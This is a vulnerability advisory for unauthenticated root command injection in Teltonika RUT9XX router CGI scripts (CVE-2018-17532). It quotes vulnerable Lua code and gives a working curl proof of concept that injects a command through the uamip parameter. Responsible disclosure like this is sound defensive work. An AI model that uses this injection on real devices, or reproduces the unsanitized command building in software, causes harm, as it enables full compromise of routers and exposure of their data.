Teltonika RUT9XX Unauthenticated OS Command Injection
Vulnerability Overview
Teltonika RUT9XX routers with firmware before 00.04.233 are prone to
multiple unauthenticated OS command injection vulnerabilities in
autologin.cgi and hotspotlogin.cgi due to insufficient user input
sanitization. This allows remote attackers to execute arbitrary
commands with root privileges.
- Identifier : SBA-ADV-20180319-01
- Type of Vulnerability : OS Command Injection
- Software/Product Name : Teltonika RUT955
- Vendor : Teltonika
- Affected Versions : Firmware RUT9XX_R_00.04.172 and probably prior
- Fixed in Version : RUT9XX_R_00.04.233
- CVE ID : CVE-2018-17532
- CVSSv3 Vector : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CVSSv3 Base Score : 9.8 (Critical)
Vendor Description
RUT955 is a highly reliable and secure LTE router with I/O, GNSS and RS232/RS485 for professional applications. Router delivers high performance, mission-critical cellular communication and GPS location capabilities.
Source: https://teltonika.lt/product/rut955/
Impact
An attacker can fully compromise the device, by exploiting the vulnerabilities documented in this advisory. Sensitive data stored or transmitted via the device might get exposed through this attack.
We recommend upgrading to version RUT9XX_R_00.04.233 or newer, which includes fixes for the vulnerabilities described in this advisory.
Vulnerability Description
Several parameters of the scripts autologin.cgi and hotspotlogin.cgi
are affected by OS command injection vulnerabilities. The scripts are
part of the coova-chilli captive portal. However, the vulnerabilities
are exploitable regardless of the device configuration, even if no
captive portal is configured.
More concretely, the following parameters are vulnerable:
/cgi-bin/autologin.cgi- reply
- uamport
- challenge
- userurl
- res
- reason
- If res=success
- uamip
- uamport
- userurl
/cgi-bin/hotspotlogin.cgi- If send=1
- uamip
- TelNum
- challenge
- uamport
- userurl
- If button=1 or (res=wispr and UserName=1)
- uamport
- uamip
- If res=success or res=already or res=popup2
- uamip
- uamport
- If res=logoff or res=popup3
- uamip
- uamport
- If send=1
The affected scripts use these parameters to build OS commands via string concatenation without proper sanitization.
The vulnerabilities are located in the source files hotspotlogin.cgi
and landing_page_functions.lua, which is included from autologin.cgi
and hotspotlogin.cgi.
The landing_page_functions.lua script provides multiple functions,
which are either vulnerable to OS command injection themselves or
propagate insecure usage.
For example, it provides the function getParam, which directly passes
the argument to io.popen:
[...]
function getParam(string)
local h = io.popen(string)
local t = h:read()
h:close()
return t
end
[...]landing_page_functions.lua also provides the functions debug and
get_ifname, which use os.execute and getParam in an insecure way:
[...]
function debug(string)
if debug_enable == 1 then
os.execute("/usr/bin/logger -t hotspotlogin.cgi \""..string.."\"")
end
end
[...]
function get_ifname(ip)
local result = getParam(format("ip addr | grep \"%s\"", ip))
local tun = string.match(result, "(tun%d+)")
local ifname = "wlan0"
[...]For example, hotspotlogin.cgi makes use of the functions get_ifname and
getParam. Occasionally, it also insecurely uses os.execute directly:
[...]
if send and send ~= "" and tel_num then
local ifname = get_ifname(uamip)
local pass = generate_code(ifname) or "0000"
tel_num = tel_num:gsub("%%2B", "+")
local exists = getParam("grep \"" ..tel_num.. "\" /etc/chilli/" .. ifname .. "/smsusers")
local user = string.format("%s", pass)
local uri = os.getenv("REQUEST_URI")
local message = string.format("%s Password - %s \n Link - http://%s%s?challenge=%s&uamport=%s&uamip=%s&userurl=%s&UserName=%s&button=1", tel_num, pass, uamip, uri, challenge, uamport, uamip, userurl, pass)
local smsotp_mesg=string.format("%s;%s", tel_num, pass)
message = getParam(string.format("/usr/sbin/gsmctl -Ss \"%s\"", message))
if message == "OK" then
os.execute("echo \""..smsotp_mesg.."\" >> /tmp/smsotp.log")
sms = "sent"
if exists then
os.execute("sed -i 's/" ..exists.. "/" ..user.. "/g' /etc/chilli/" .. ifname .. "/smsusers")
else
os.execute("echo \"" ..user.. "\" >>/etc/chilli/" .. ifname .. "/smsusers")
end
[...]In one of the first lines of the above code snippet, hotspotlogin.cgi
calls get_ifname with unsanitized user input from the parameter
uamip. A few lines later it calls getParam with unsanitized user
input from the parameter TelNum. In a further call to getParam it
uses more unsanitized user input.
There are futher locations that call insecure functions like debug
and get_ifname either directly or indirectly with user input from the
scripts autologin.cgi and hotspotlogin.cgi.
Proof-of-Concept
For example, an attacker can exploit this vulnerability by manipulating
the uamip parameter:
curl -v -o /dev/null "http://$IP/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; id >/tmp/test #'The device executes the commands with root privileges:
# cat /tmp/test
uid=0(root) gid=0(root)Timeline
2018-03-19identification of vulnerability in version RUT9XX_R_00.04.842018-04-10detailed analysis of version RUT9XX_R_00.04.1612018-04-16re-test of version RUT9XX_R_00.04.1722018-04-16initial vendor contact through public address2018-04-18vendor response with security contact2018-04-19disclosed vulnerability to vendor security contact2018-04-26vendor released fix in version RUT9XX_R_00.04.2332018-07-09re-test of version RUT9XX_R_00.05.00.52018-09-25request CVE from MITRE2018-09-26MITRE assigned CVE-2018-175322018-10-11public disclosure
References
- Firmware Changelog: https://wiki.teltonika.lt/index.php?title=RUT9xx_Firmware
Credits
- David Gnedt (SBA Research)